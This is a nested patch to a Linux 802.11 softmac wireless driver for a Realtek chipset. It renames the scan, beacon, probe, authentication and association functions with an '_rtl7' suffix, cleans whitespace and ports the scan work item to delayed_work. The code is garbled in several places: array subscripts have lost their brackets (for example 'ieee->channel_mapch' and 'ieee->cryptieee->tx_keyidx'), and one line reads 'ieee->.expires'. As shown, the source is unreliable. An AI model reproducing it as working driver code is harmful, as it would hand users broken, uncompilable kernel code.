+ 	memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memset(req->header.addr3, 0xff, ETH_ALEN);
+-	
++
+ 	tag = (u8 *) skb_put(skb,len+2+rate_len);
+-	
++
+ 	*tag++ = MFIE_TYPE_SSID;
+ 	*tag++ = len;
+ 	memcpy(tag, ieee->current_network.ssid, len);
+ 	tag += len;
+-	
+-	ieee80211_MFIE_Brate(ieee,&tag);
+-	ieee80211_MFIE_Grate(ieee,&tag);
++
++	ieee80211_MFIE_Brate_rtl7(ieee,&tag);
++	ieee80211_MFIE_Grate_rtl7(ieee,&tag);
+ 	return skb;
+ }
+ 
+-struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee);
+-void ieee80211_send_beacon(struct ieee80211_device *ieee)
++struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee);
++void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+-	
+-	unsigned long flags;	
+-	
+-	skb = ieee80211_get_beacon_(ieee);
++
++	unsigned long flags;
++
++	skb = ieee80211_get_beacon__rtl7(ieee);
+ 	if (skb){
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->softmac_stats.tx_beacons++;
+ 	}
+ 
+-	ieee->beacon_timer.expires = jiffies + 
++	ieee->beacon_timer.expires = jiffies +
+ 		(MSECS( ieee->current_network.beacon_interval -5));
+-	
++
+ 	spin_lock_irqsave(&ieee->beacon_lock,flags);
+ 	if(ieee->beacon_txing)
+ 		add_timer(&ieee->beacon_timer);
+@@ -279,57 +279,57 @@
+ }
+ 
+ 
+-void ieee80211_send_beacon_cb(unsigned long _ieee)
++void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee)
+ {
+ 	struct ieee80211_device *ieee =
+ 		(struct ieee80211_device *) _ieee;
+-	ieee80211_send_beacon(ieee);
++	ieee80211_send_beacon_rtl7(ieee);
+ }
+ 
+ 
+-void ieee80211_send_probe(struct ieee80211_device *ieee)
++void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+-	
+-	skb = ieee80211_probe_req(ieee);
++
++	skb = ieee80211_probe_req_rtl7(ieee);
+ 	if (skb){
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->softmac_stats.tx_probe_rq++;
+ 	}
+ }
+ 
+-void ieee80211_send_probe_requests(struct ieee80211_device *ieee)
++void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){
+-		ieee80211_send_probe(ieee);
+-		ieee80211_send_probe(ieee);
++		ieee80211_send_probe_rtl7(ieee);
++		ieee80211_send_probe_rtl7(ieee);
+ 	}
+ }
+ 
+ /* this performs syncro scan blocking the caller until all channels
+- * in the allowed channel map has been checked. 
++ * in the allowed channel map has been checked.
+  */
+-void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee)
++void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee)
+ {
+ 	short ch = 0;
+-        
++
+ 	down(&ieee->scan_sem);
+-	
++
+ 	while(1)
+ 	{
+-		
++
+ 		do{
+ 			ch++;
+-			if (ch > MAX_CHANNEL_NUMBER) 
++			if (ch > MAX_CHANNEL_NUMBER)
+ 				goto out; /* scan completed */
+-				
++
+ 		}while(!ieee->channel_mapch);
+-	
++
+ 		/* this fuction can be called in two situations
+ 		 * 1- We have switched to ad-hoc mode and we are
+ 		 *    performing a complete syncro scan before conclude
+-		 *    there are no interesting cell and to create a 
+-		 *    new one. In this case the link state is 
++		 *    there are no interesting cell and to create a
++		 *    new one. In this case the link state is
+ 		 *    IEEE80211_NOLINK until we found an interesting cell.
+ 		 *    If so the ieee8021_new_net, called by the RX path
+ 		 *    will set the state to IEEE80211_LINKED, so we stop
+@@ -342,24 +342,24 @@
+ 		 *    not filter RX frames and the channel is changing.
+ 		 * So the only situation in witch are interested is to check
+ 		 * if the state become LINKED because of the #1 situation
+-		 */    
+-		    
++		 */
++
+ 		if (ieee->state == IEEE80211_LINKED)
+ 			goto out;
+-		
++
+ 		ieee->set_chan(ieee->dev, ch);
+-		
+-		ieee80211_send_probe_requests(ieee);
+-		
++
++		ieee80211_send_probe_requests_rtl7(ieee);
++
+ 		/* this prevent excessive time wait when we
+ 		 * need to wait for a syncro scan to end..
+-		 */  		
++		 */
+ 		if (ieee->sync_scan_hurryup)
+ 			goto out;
+ 
+ 
+ 		msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME);
+-		
++
+ 	}
+ out:
+ 	ieee->sync_scan_hurryup = 0;
+@@ -370,43 +370,49 @@
+ void ieee80211_softmac_scan(struct ieee80211_device *ieee)
+ {
+ 	short watchdog = 0;
+-	
++
+ 	do{
+-		ieee->current_network.channel = 
++		ieee->current_network.channel =
+ 			(ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER;
+-		if (watchdog++ > MAX_CHANNEL_NUMBER) 
++		if (watchdog++ > MAX_CHANNEL_NUMBER)
+ 				return; /* no good chans */
+-				
++
+ 	}while(!ieee->channel_mapieee->current_network.channel);
+-		
++
+ 
+ 	schedule_work(&ieee->softmac_scan_wq);
+ }
+ #endif
+ 
+-void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee)
+-{	
+-	down(&ieee->scan_sem);
+-	
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work)
++{
++	struct delayed_work *dwork = container_of(work, struct delayed_work, work);
++	struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq);
++#else
++void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee)
++{
++#endif
+ 	short watchdog = 0;
+-	
++	down(&ieee->scan_sem);
++
+ 	do{
+-		ieee->current_network.channel = 
++		ieee->current_network.channel =
+ 			(ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER;
+-		if (watchdog++ > MAX_CHANNEL_NUMBER) 
++		if (watchdog++ > MAX_CHANNEL_NUMBER)
+ 				goto out; /* no good chans */
+-				
++
+ 	}while(!ieee->channel_mapieee->current_network.channel);
+-	
++
+ 	if (ieee->scanning == 0 )
+ 		goto out;
+-	
++
+ 	ieee->set_chan(ieee->dev, ieee->current_network.channel);
+-	ieee80211_send_probe_requests(ieee);
++	ieee80211_send_probe_requests_rtl7(ieee);
+ 
+-#if 0	
++#if 0
+ 	ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME);
+-	if (ieee->scanning == 1) 
++	if (ieee->scanning == 1)
+ 		add_timer(&ieee->scan_timer);
+ #endif
+ 	queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME);
+@@ -419,7 +425,7 @@
+ {
+ 	unsigned long flags;
+ 	struct ieee80211_device *ieee = (struct ieee80211_device *)_dev;
+-	
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 	ieee80211_softmac_scan(ieee);
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+@@ -427,19 +433,19 @@
+ #endif
+ 
+ 
+-void ieee80211_beacons_start(struct ieee80211_device *ieee)
++void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee)
+ {
+-	unsigned long flags;	
++	unsigned long flags;
+ 
+ 	spin_lock_irqsave(&ieee->beacon_lock,flags);
+ 
+ 	ieee->beacon_txing = 1;
+-	ieee80211_send_beacon(ieee);
+-	
++	ieee80211_send_beacon_rtl7(ieee);
++
+ 	spin_unlock_irqrestore(&ieee->beacon_lock,flags);
+ }
+ 
+-void ieee80211_beacons_stop(struct ieee80211_device *ieee)
++void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+ 
+@@ -453,111 +459,111 @@
+ }
+ 
+ 
+-void ieee80211_stop_send_beacons(struct ieee80211_device *ieee)
++void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if(ieee->stop_send_beacons)
+ 		ieee->stop_send_beacons(ieee->dev);
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS)
+-		ieee80211_beacons_stop(ieee);
++		ieee80211_beacons_stop_rtl7(ieee);
+ }
+ 
+ 
+-void ieee80211_start_send_beacons(struct ieee80211_device *ieee)
++void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if(ieee->start_send_beacons)
+ 		ieee->start_send_beacons(ieee->dev);
+ 	if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS)
+-		ieee80211_beacons_start(ieee); 
++		ieee80211_beacons_start_rtl7(ieee);
+ }
+ 
+ 
+-void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee)
++void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee)
+ {
+-//	unsigned long flags;	
+-	
++//	unsigned long flags;
++
+ 	//ieee->sync_scan_hurryup = 1;
+-	
++
+ 	down(&ieee->scan_sem);
+ //	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	if (ieee->scanning == 1){
+ 		ieee->scanning = 0;
+ 		//del_timer_sync(&ieee->scan_timer);
+ 		cancel_delayed_work(&ieee->softmac_scan_wq);
+ 	}
+-	
++
+ //	spin_unlock_irqrestore(&ieee->lock, flags);
+ 	up(&ieee->scan_sem);
+ }
+ 
+-void ieee80211_stop_scan(struct ieee80211_device *ieee)
++void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN)
+-		ieee80211_softmac_stop_scan(ieee);
++		ieee80211_softmac_stop_scan_rtl7(ieee);
+ 	else
+ 		ieee->stop_scan(ieee->dev);
+ }
+ 
+ /* called with ieee->lock held */
+-void ieee80211_start_scan(struct ieee80211_device *ieee)
++void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee)
+ {
+-	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){	
++	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){
+ 		if (ieee->scanning == 0){
+ 			ieee->scanning = 1;
+ 			//ieee80211_softmac_scan(ieee);
+-			queue_work(ieee->wq, &ieee->softmac_scan_wq);
++			queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0);
+ 		}
+ 	}else
+ 		ieee->start_scan(ieee->dev);
+-	
++
+ }
+ 
+ /* called with wx_sem held */
+-void ieee80211_start_scan_syncro(struct ieee80211_device *ieee)
++void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->sync_scan_hurryup = 0;
+-	
++
+ 	if (ieee->softmac_features & IEEE_SOFTMAC_SCAN)
+-		ieee80211_softmac_scan_syncro(ieee);
++		ieee80211_softmac_scan_syncro_rtl7(ieee);
+ 	else
+ 		ieee->scan_syncro(ieee->dev);
+-		
++
+ }
+ 
+-inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, 
++inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon,
+ 	struct ieee80211_device *ieee, int challengelen)
+ {
+-	struct sk_buff *skb;	
++	struct sk_buff *skb;
+ 	struct ieee80211_authentication *auth;
+-	
+-	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); 
+-	
++
++	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen);
++
+ 	if (!skb) return NULL;
+-	
++
+ 	auth = (struct ieee80211_authentication *)
+ 		skb_put(skb, sizeof(struct ieee80211_authentication));
+-	
++
+ 	auth->header.frame_ctl = IEEE80211_STYPE_AUTH;
+ 	if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP;
+-	
++
+ 	auth->header.duration_id = 0x013a; //FIXME
+-	
++
+ 	memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN);
+ 	memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN);
+-	
++
+ 	auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY;
+-	
++
+ 	auth->transaction = cpu_to_le16(ieee->associate_seq);
+ 	ieee->associate_seq++;
+-	
++
+ 	auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS);
+-	
++
+ 	return skb;
+-	
++
+ }
+ 
+-static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest)
++static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest)
+ {
+ 	u8 *tag;
+ 	int beacon_size;
+@@ -566,23 +572,23 @@
+ 	int encrypt;
+ 	int atim_len,erp_len;
+ 	struct ieee80211_crypt_data* crypt;
+-	
++
+ 	char *ssid = ieee->current_network.ssid;
+ 	int ssid_len = ieee->current_network.ssid_len;
+ 	int rate_len = ieee->current_network.rates_len+2;
+ 	int rate_ex_len = ieee->current_network.rates_ex_len;
+ 	if(rate_ex_len > 0) rate_ex_len+=2;
+-	
++
+ 	if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS)
+ 		atim_len = 4;
+ 	else
+ 		atim_len = 0;
+-	
+-	if(ieee80211_is_54g(ieee->current_network)) 
++
++	if(ieee80211_is_54g_rtl7(ieee->current_network))
+ 		erp_len = 3;
+ 	else
+ 		erp_len = 0;
+-	
++
+ 	beacon_size = sizeof(struct ieee80211_probe_response)+
+ 		ssid_len
+ 		+3 //channel
+@@ -590,72 +596,72 @@
+ 		+rate_ex_len
+ 		+atim_len
+ 		+erp_len;
+-	
++
+ 	skb = dev_alloc_skb(beacon_size);
+-	
+-	if (!skb) 
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size);
+-	
++
+ 	memcpy (beacon_buf->header.addr1, dest,ETH_ALEN);
+ 	memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN);
+ 
+ 	beacon_buf->header.duration_id = 0; //FIXME
+-	beacon_buf->beacon_interval = 
++	beacon_buf->beacon_interval =
+ 		cpu_to_le16(ieee->current_network.beacon_interval);
+-	beacon_buf->capability = 
++	beacon_buf->capability =
+ 		cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS);
+-	
++
+ 	if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT))
+-		cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT));		
+-	
++		cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT));
++
+ 	crypt = ieee->cryptieee->tx_keyidx;
+ 
+-	encrypt = ieee->host_encrypt && crypt && crypt->ops && 
++	encrypt = ieee->host_encrypt && crypt && crypt->ops &&
+ 		(0 == strcmp(crypt->ops->name, "WEP"));
+ 
+-	if (encrypt)	
++	if (encrypt)
+ 		beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY);
+-	
+-		
++
++
+ 	beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP);
+-	
+-	beacon_buf->info_element.id = MFIE_TYPE_SSID;	
++
++	beacon_buf->info_element.id = MFIE_TYPE_SSID;
+ 	beacon_buf->info_element.len = ssid_len;
+-	
++
+ 	tag = (u8*) beacon_buf->info_element.data;
+-	
++
+ 	memcpy(tag, ssid, ssid_len);
+-	
++
+ 	tag += ssid_len;
+-	
++
+ 	*(tag++) = MFIE_TYPE_RATES;
+-	*(tag++) = rate_len-2; 
++	*(tag++) = rate_len-2;
+ 	memcpy(tag,ieee->current_network.rates,rate_len-2);
+ 	tag+=rate_len-2;
+-	
++
+ 	*(tag++) = MFIE_TYPE_DS_SET;
+ 	*(tag++) = 1;
+ 	*(tag++) = ieee->current_network.channel;
+-	
++
+ 	if(atim_len){
+ 		*(tag++) = MFIE_TYPE_IBSS_SET;
+ 		*(tag++) = 2;
+ 		*((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window);
+ 		tag+=2;
+ 	}
+-	
++
+ 	if(erp_len){
+ 		*(tag++) = MFIE_TYPE_ERP;
+ 		*(tag++) = 1;
+-		*(tag++) = 0; 
++		*(tag++) = 0;
+ 	}
+-	
++
+ 	if(rate_ex_len){
+ 		*(tag++) = MFIE_TYPE_RATES_EX;
+-		*(tag++) = rate_ex_len-2; 
++		*(tag++) = rate_ex_len-2;
+ 		memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2);
+ 		tag+=rate_ex_len-2;
+ 	}
+@@ -664,208 +670,208 @@
+ }
+ 
+ 
+-struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest)
++struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest)
+ {
+ 	struct sk_buff *skb;
+ 	u8* tag;
+-	
++
+ 	struct ieee80211_crypt_data* crypt;
+ 	struct ieee80211_assoc_response_frame *assoc;
+ 	short encrypt;
+-	
+-	unsigned int rate_len = ieee80211_MFIE_rate_len(ieee);
++
++	unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee);
+ 	int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len;
+-	
+-	skb = dev_alloc_skb(len); 
+-	
+-	if (!skb) 
++
++	skb = dev_alloc_skb(len);
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	assoc = (struct ieee80211_assoc_response_frame *)
+ 		skb_put(skb,sizeof(struct ieee80211_assoc_response_frame));
+-	
++
+ 	assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP);
+ 	memcpy(assoc->header.addr1, dest,ETH_ALEN);
+ 	memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+-	assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? 
++	assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ?
+ 		WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS);
+-	
+-		
++
++
+ 	if(ieee->short_slot)
+ 		assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT);
+-		
++
+ 	if (ieee->host_encrypt)
+ 		crypt = ieee->cryptieee->tx_keyidx;
+ 	else crypt = NULL;
+-	
++
+ 	encrypt = ( crypt && crypt->ops);
+-	   
++
+ 	if (encrypt)
+ 		assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY);
+-	
++
+ 	assoc->status = 0;
+ 	assoc->aid = cpu_to_le16(ieee->assoc_id);
+ 	if (ieee->assoc_id == 0x2007) ieee->assoc_id=0;
+ 	else ieee->assoc_id++;
+-	
++
+ 	tag = (u8*) skb_put(skb, rate_len);
+-	
+-	ieee80211_MFIE_Brate(ieee, &tag);
+-	ieee80211_MFIE_Grate(ieee, &tag);
+-	
++
++	ieee80211_MFIE_Brate_rtl7(ieee, &tag);
++	ieee80211_MFIE_Grate_rtl7(ieee, &tag);
++
+ 	return skb;
+ }
+ 
+-struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest)
++struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest)
+ {
+ 	struct sk_buff *skb;
+ 	struct ieee80211_authentication *auth;
+-	
+-	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); 
+-	
+-	if (!skb) 
++
++	skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1);
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	skb->len = sizeof(struct ieee80211_authentication);
+-	
++
+ 	auth = (struct ieee80211_authentication *)skb->data;
+-	
++
+ 	auth->status = cpu_to_le16(status);
+ 	auth->transaction = cpu_to_le16(2);
+ 	auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN);
+-	
++
+ 	memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(auth->header.addr1, dest, ETH_ALEN);
+-	auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); 
++	auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH);
+ 	return skb;
+-	
+-	
++
++
+ }
+ 
+-struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr)
++struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr)
+ {
+ 	struct sk_buff *skb;
+ 	struct ieee80211_hdr_3addr* hdr;
+-	
+-	skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); 
+-	
+-	if (!skb) 
++
++	skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr));
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr));
+-	
++
+ 	memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN);
+ 	memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN);
+-	
+-	hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | 
+-		IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | 
+-		(pwr ? IEEE80211_FCTL_PM:0)); 
+-	
++
++	hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA |
++		IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS |
++		(pwr ? IEEE80211_FCTL_PM:0));
++
+ 	return skb;
+-	
+-	
++
++
+ }
+ 
+ 
+-void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest)
++void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest)
+ {
+-	struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest);
+-	
++	struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest);
++
+ 	if (buf)
+-		softmac_mgmt_xmit(buf, ieee);
++		softmac_mgmt_xmit_rtl7(buf, ieee);
+ }
+ 
+ 
+-void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest)
++void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest)
+ {
+-	struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest);
+-	
++	struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest);
++
+ 	if (buf)
+-		softmac_mgmt_xmit(buf, ieee);
++		softmac_mgmt_xmit_rtl7(buf, ieee);
+ }
+ 
+ 
+-void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest)
++void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest)
+ {
+-	
+-	struct sk_buff *buf = ieee80211_probe_resp(ieee, dest);
+-	
+-	if (buf) 
+-		softmac_mgmt_xmit(buf, ieee);
++
++	struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest);
++
++	if (buf)
++		softmac_mgmt_xmit_rtl7(buf, ieee);
+ }
+ 
+ 
+-inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee)
++inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *skb;
+-	
++
+ 	struct ieee80211_assoc_request_frame *hdr;
+ 	u8 *tag;
+-	
++
+ 	unsigned int wpa_len = beacon->wpa_ie_len;
+-	
+-	unsigned int rate_len = ieee80211_MFIE_rate_len(ieee);
+-	
+-	
+-	
++
++	unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee);
++
++
++
+ 	int len=sizeof(struct ieee80211_assoc_request_frame)+
+ 				+ beacon->ssid_len//essid tagged val
+ 				+ rate_len//rates tagged val
+ 				+ wpa_len;
+-				
++
+ 	skb = dev_alloc_skb(len);
+-	
+-	if (!skb) 
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	hdr = (struct ieee80211_assoc_request_frame *)
+ 		skb_put(skb, sizeof(struct ieee80211_assoc_request_frame));
+-	
+-	
++
++
+ 	hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ;
+ 	hdr->header.duration_id= 37; //FIXME
+ 	memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN);
+ 	memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN);
+ 	memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN);
+-	
++
+ 	hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS);
+-	if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) 
++	if (beacon->capability & WLAN_CAPABILITY_PRIVACY )
+ 		hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY);
+-	
++
+ 	if(ieee->short_slot)
+ 		hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT);
+-	
++
+ 	hdr->listen_interval = 0xa; //FIXME
+-	
++
+ 	hdr->info_element.id = MFIE_TYPE_SSID;
+ 
+ 	hdr->info_element.len = beacon->ssid_len;
+ 	tag = skb_put(skb, beacon->ssid_len);
+ 	memcpy(tag, beacon->ssid, beacon->ssid_len);
+-	
+-	tag = skb_put(skb, rate_len); 
+-	
+-	ieee80211_MFIE_Brate(ieee, &tag);
+-	ieee80211_MFIE_Grate(ieee, &tag);
+-	
++
++	tag = skb_put(skb, rate_len);
++
++	ieee80211_MFIE_Brate_rtl7(ieee, &tag);
++	ieee80211_MFIE_Grate_rtl7(ieee, &tag);
++
+ 	tag = skb_put(skb,wpa_len);
+-	
++
+ 	memcpy(tag,beacon->wpa_ie,wpa_len);
+-	
++
+ 	return skb;
+ }
+ 
+-void ieee80211_associate_abort(struct ieee80211_device *ieee)
++void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee)
+ {
+-	
++
+ 	unsigned long flags;
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	ieee->associate_seq++;
+-	
++
+ 	/* don't scan, and avoid to have the RX path possibily
+ 	 * try again to associate. Even do not react to AUTH or
+ 	 * ASSOC response. Just wait for the retry wq to be scheduled.
+@@ -873,103 +879,109 @@
+ 	 * with, so we retry or just get back to NO_LINK and scanning
+ 	 */
+ 	if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){
+-		IEEE80211_DEBUG_MGMT("Authentication failed\n"); 
++		IEEE80211_DEBUG_MGMT("Authentication failed\n");
+ 		ieee->softmac_stats.no_auth_rs++;
+ 	}else{
+-		IEEE80211_DEBUG_MGMT("Association failed\n"); 
++		IEEE80211_DEBUG_MGMT("Association failed\n");
+ 		ieee->softmac_stats.no_ass_rs++;
+ 	}
+-		
++
+ 	ieee->state = IEEE80211_ASSOCIATING_RETRY;
+-		
++
+ 	queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME);
+-	
++
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+-void ieee80211_associate_abort_cb(unsigned long dev)
++void ieee80211_associate_abort_cb_rtl7(unsigned long dev)
+ {
+-	ieee80211_associate_abort((struct ieee80211_device *) dev);
++	ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev);
+ }
+ 
+ 
+-void ieee80211_associate_step1(struct ieee80211_device *ieee)
++void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct ieee80211_network *beacon = &ieee->current_network;
+ 	struct sk_buff *skb;
+-	
++
+ 	IEEE80211_DEBUG_MGMT("Stopping scan\n");
+-	
++
+ 	ieee->softmac_stats.tx_auth_rq++;
+-	skb=ieee80211_authentication_req(beacon, ieee, 0);
+-	
+-	if (!skb) 
+-		ieee80211_associate_abort(ieee);
+-	else{ 
++	skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0);
++
++	if (!skb)
++		ieee80211_associate_abort_rtl7(ieee);
++	else{
+ 		ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ;
+ 		IEEE80211_DEBUG_MGMT("Sending authentication request\n");
+-		softmac_mgmt_xmit(skb, ieee);
++		softmac_mgmt_xmit_rtl7(skb, ieee);
+ 		ieee->associate_timer.expires = jiffies + (HZ / 2);
+ 		add_timer(&ieee->associate_timer);
+-	}	
++	}
+ }
+ 
+-void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen)
++void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen)
+ {
+-	u8 *c;	
++	u8 *c;
+ 	struct sk_buff *skb;
+ 	struct ieee80211_network *beacon = &ieee->current_network;
+ //	int hlen = sizeof(struct ieee80211_authentication);
+-	
++
+ 	ieee->associate_seq++;
+ 	ieee->softmac_stats.tx_auth_rq++;
+-	
+-	skb = ieee80211_authentication_req(beacon, ieee, chlen+2);
+-	if (!skb) 
+-		ieee80211_associate_abort(ieee);
++
++	skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2);
++	if (!skb)
++		ieee80211_associate_abort_rtl7(ieee);
+ 	else{
+ 		c = skb_put(skb, chlen+2);
+ 		*(c++) = MFIE_TYPE_CHALLENGE;
+ 		*(c++) = chlen;
+ 		memcpy(c, challenge, chlen);
+-		
++
+ 		IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n");
